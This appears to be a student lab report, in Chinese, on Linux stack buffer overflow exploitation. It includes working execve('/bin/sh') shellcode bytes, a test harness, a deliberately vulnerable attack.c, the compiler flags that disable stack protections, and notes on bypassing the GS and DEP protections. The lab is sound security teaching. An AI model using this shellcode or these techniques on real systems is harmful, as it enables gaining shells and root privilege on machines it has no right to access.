|
1、实验目的 理解Linux系统下缓冲区溢出机制 2、实验要求 |
(1) 通过认真学习缓冲区溢出原理,明确实验目的、原理、方法以及注意事项等。
(2) 实验过程中必须认真严肃,并认真学习和记录实验数据,从而进行科学分析。
(3) 独立认真完成实验报告,语言简练、表达清晰,适当情况下增加相应的画图信息。
3、实验内容 |
a) 根据附件程序attack.c画出堆栈结构图
b) 构造shellcode实现缓冲区溢出攻击
Shellcode是一段代码或者填充数据,以及机器码的形式出现在程序中,是溢出程序的核心,实现缓冲区溢出的关键便是shellcode的编写。
编写步骤如下:
(1)首先用汇编实现相应的shellcode功能;测试shellcode是否可以正常运行,如果提示断错误而代码又没问题应该是代码段写入出错,可以将shellcode用C语言测试功能(见shellcodetest.c)
(2)生成机器码,进行栈溢出利用实验
实验环境:
(1)操作系统:Ubuntu 14.04.5 LTS
(2)软件工具:GCC (Ubuntu 4.8.4-2ubuntu1~14.04.3)4.8.
|
l 构造shellcode 1. 编辑shellcode.asm。
2. 编译 nasm -f elf shellcode.asm 在编译过程中,我遇到了很多问题,首先是网络没有正常连接,打开firefox显示server not found。开始我以为是ubuntu安装有误,因为apt-get update命令没有结果,全都是找不到或者错误,而且也没有/etc/hosts文件,后来才发现只是主机DHCP和NAT服务没有启动导致联网失败。之后是NASM安装问题,我才用apt-get命令直接安装之后不成功,最后只能重新下载NASM包进行安装。上述汇编代码也有一定问题,需要进行改动。 gcc -o shellcode shellcode.o 1. 可以使用objdump -d shellcode>shellcode.dump得到shellcode的反汇编代码,打开后如下图所示,找到shellcode |
2. 如下图所示,先用gdb shellcode进入GDB调试,然后使用GDB的dump命令,获取shellcode的二进制数据
3. 如果shellcode运行提示断错误,是因为程序向代码段写数据导致出错,可以使用C语言测试shellcode。先用xxd -i shellcode.dump命令获取shellcodeC语言字符串数组形式的shellcode,然后修改shellcodetest.c进行shellcode测试
/*************************************************************************
> FileName : shellcodetest.c
>Author :
>Mail :
>Created Time : Fri 23 Dec 201603:45:49 AM PST
************************************************************************/
#include <stdio.h>
#include <string.h>
unsigned char shellcode_dump[] = {
0xeb, 0x17,0x5e, 0x89, 0x76, 0x08, 0x31, 0xc0, 0x88, 0x46, 0x07, 0x89,
0x46, 0x0c,0x89, 0xc2, 0xb0, 0x0b, 0x89, 0xf3, 0x8d, 0x4e, 0x08, 0xcd,
0x80, 0xe8, 0xe4, 0xff, 0xff, 0xff, 0x2f,0x62, 0x69, 0x6e, 0x2f, 0x73,
0x68, 0x00
};
unsigned int shellcode_dump_len = 38;
int main(int argc,char *argv[])
{
void(*fp)(void);
printf("%d\n",strlen(shellcode_dump));
fp =(void*)shellcode_dump;
fp();
return 0;
|
} 如下图所示:使用C语言测试shellcode
|
如上图所示:这个bash的PID($$表示本进程PID)是3028,然后编译shellcodetest.c文件
gcc-z execstack -fno-stack-protector -g -o shellcodetest shellcodetest.c
-zexecstack : 取消栈运行保护措施
-fno-stack-protector: 取消栈溢出保护
编译成功,运行之后,使用PS可以看到多了一个sh进程,再查看本进程PID($$表示本进程PID)看到是3060,使用cat/proc/$$/stat查看本进程详细信息,可以看到这个sh进程的父进程是bash,说明shellcode成功运行,执行了/bin/sh命令。以上操作得下图:
|
l 实现缓冲区溢出攻击 Attack.c |
/*************************************************************************
> FileName : attack.c
>Author :
>Mail :
>Created Time : Fri 23 Dec 201607:57:25 AM PST
************************************************************************/
#include <stdio.h>
int i;
int* addr;
void main(int argc, char* argv[])
{
charbuff[72] = {0};
for (i = 0;i < 72; i++)
{
if (0== argv[1][i])
{
break;
}
buff[i]= argv[1][i];
}
for (; i< 72;i++)
{
buff[i]= 0;
}
addr =&buff[72];
for (i =0;i < 10; i++)
{
addr[i]= buff;
}
} |
计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,当我们输入特定的数据在覆盖住合法的数据,执行设计好的程序功能,在attck.c程序中为buff分配了72个字节,然后读取程序运行的第一个参数,将它一个字节一个字节赋值给buff,不够的用0填充,然后从buff往高地址方向填充10组buff的地址,如下图所示,最终buff地址会覆盖main函数的返回地址,等main函数结束后,就会跳到buff,执行shellcode。可以看到这样运行的/bin/sh会继承父进程的UID,也就是,假如这样的溢出漏洞存在一个root权限的程序,那么执行shellcode后将有可能获得一个root权限的shell
|
|
如下图所示,可以使用xxd命令确认shellcode.dump具体数据,然后原来的进程PID是9669,然后将shellcode.dump的内容作为attack程序的运行参数,可以看到shellcode成功执行获取shell
|
|
改进与反思:
1、汇编编写出来的shellcode运行时,在执行mov [esi+8],esi的时候会因为代码段不可写出错,怎么解决 |
这是因为shellcode是以全局字符数组变量的形式存储在进程堆栈中的数据段中,数据段是没有可执行权限的,所以一旦PC寄存器进入到这里面,那么程序就会报错。解决方法有两个,一个是在gcc编译的时候加入-z execstack参数;也可以安装execstack这个软件,然后在用命令将要运行的程序用execstack -s ./prog。那么该程序就解除可执行栈的保护了。
|
2、程序编译的时候关闭了GS和DEP保护,课后了解这些保护的原理,思考如果在开启这些保护措施的情况下实现缓冲区溢出的利用 绕过GS: • 利用未被保护的内存 – 低于4个字节的缓冲区,即使GS开关打开,该函数也是不受保护的。 • 覆盖虚函数 – 利用虚函数指针将其指向shellcode • 攻击异常处理函数 – 通过覆盖异常处理函数指针,让其指向shellcode • 同时替换栈中的security cookie和.data中的cookie 绕过DEP: • 通过虚函数修改指定内存的属性,关闭其不可执行属性 |